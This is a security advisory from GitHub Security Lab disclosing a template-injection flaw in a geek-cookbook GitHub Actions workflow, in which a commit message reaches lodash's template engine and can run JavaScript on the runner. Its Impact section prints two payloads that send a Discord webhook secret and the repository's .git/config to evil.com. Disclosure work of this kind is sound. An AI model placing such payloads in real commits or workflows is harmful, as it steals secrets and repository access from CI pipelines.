Coordinated Disclosure Timeline

Summary

The ‘on-push-master-notify-discord.yml’ GitHub workflow is vulnerable to template injection.

Product

geek-cookbook/geek-cookbook GitHub repository

Tested Version

The latest changeset to the date 7693133.

Details

Issue: A commit comment is used to format a Discord message

on:
  push:
...
    steps:
    - name: Discord notification
      env:
        DISCORD_WEBHOOK: ${{ secrets.DISCORD_WEBHOOK }}
      uses: Ilshidur/action-discord@master
      with:
        args: |
          Greetings, geeks!  🤓
          The [Geek's Cookbook](https://geek-cookbook.funkypenguin.co.nz) has been updated!
          Here's what's fresh:
          :cupcake: [${{github.event.commits[0].message}}]({{ EVENT_PAYLOAD.compare }})

The ${{github.event.commits[0].message}}, used here, allows for injection of arbitrary markdown into the Discord message. However this is not all.

The Discord action supports interpolation syntax for environment variables. There are examples of intended usage in the documentation such as The project {{ EVENT_PAYLOAD.repository.full_name }} has been deployed. The interpolation is implemented in a way that the expressions may be interpreted as javascript:

const _ = require('lodash');
...
const message = _.template(args)({ ...process.env, EVENT_PAYLOAD: JSON.parse(eventContent) });

An attacker may create a specially crafted commit description and make a valid pull request, that will get merged. It is likely that the reviewer will not notice it, especially if there are multiple commits in the PR.

Impact

This vulnerability allows for arbitrary code execution in the context of a GitHub runner. The following payload would exfiltrate the secret DISCORD_WEBHOOK to an attacker-controlled server. This would give the attacker full control over the Discord message hook.

{{ process.mainModule.require('http').get(`http://evil.com?t=${DISCORD_WEBHOOK}`) }}

While the workflow is using only one secret, the injection may get much more severe if the workflow gets more complex. For example, if a checkout action is used without persist-credentials set to false an attacker could get write access to the repository with the payload below:

{{ process.mainModule.require('http').get('http://evil.com?t='+process.mainModule.require('fs').readFileSync('./.git/config').toString('base64')) }}

Credit

This issue was discovered and reported by GHSL team member @JarLob (Jaroslav Lobačevski).

Contact

You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2020-323 in any communication regarding this issue.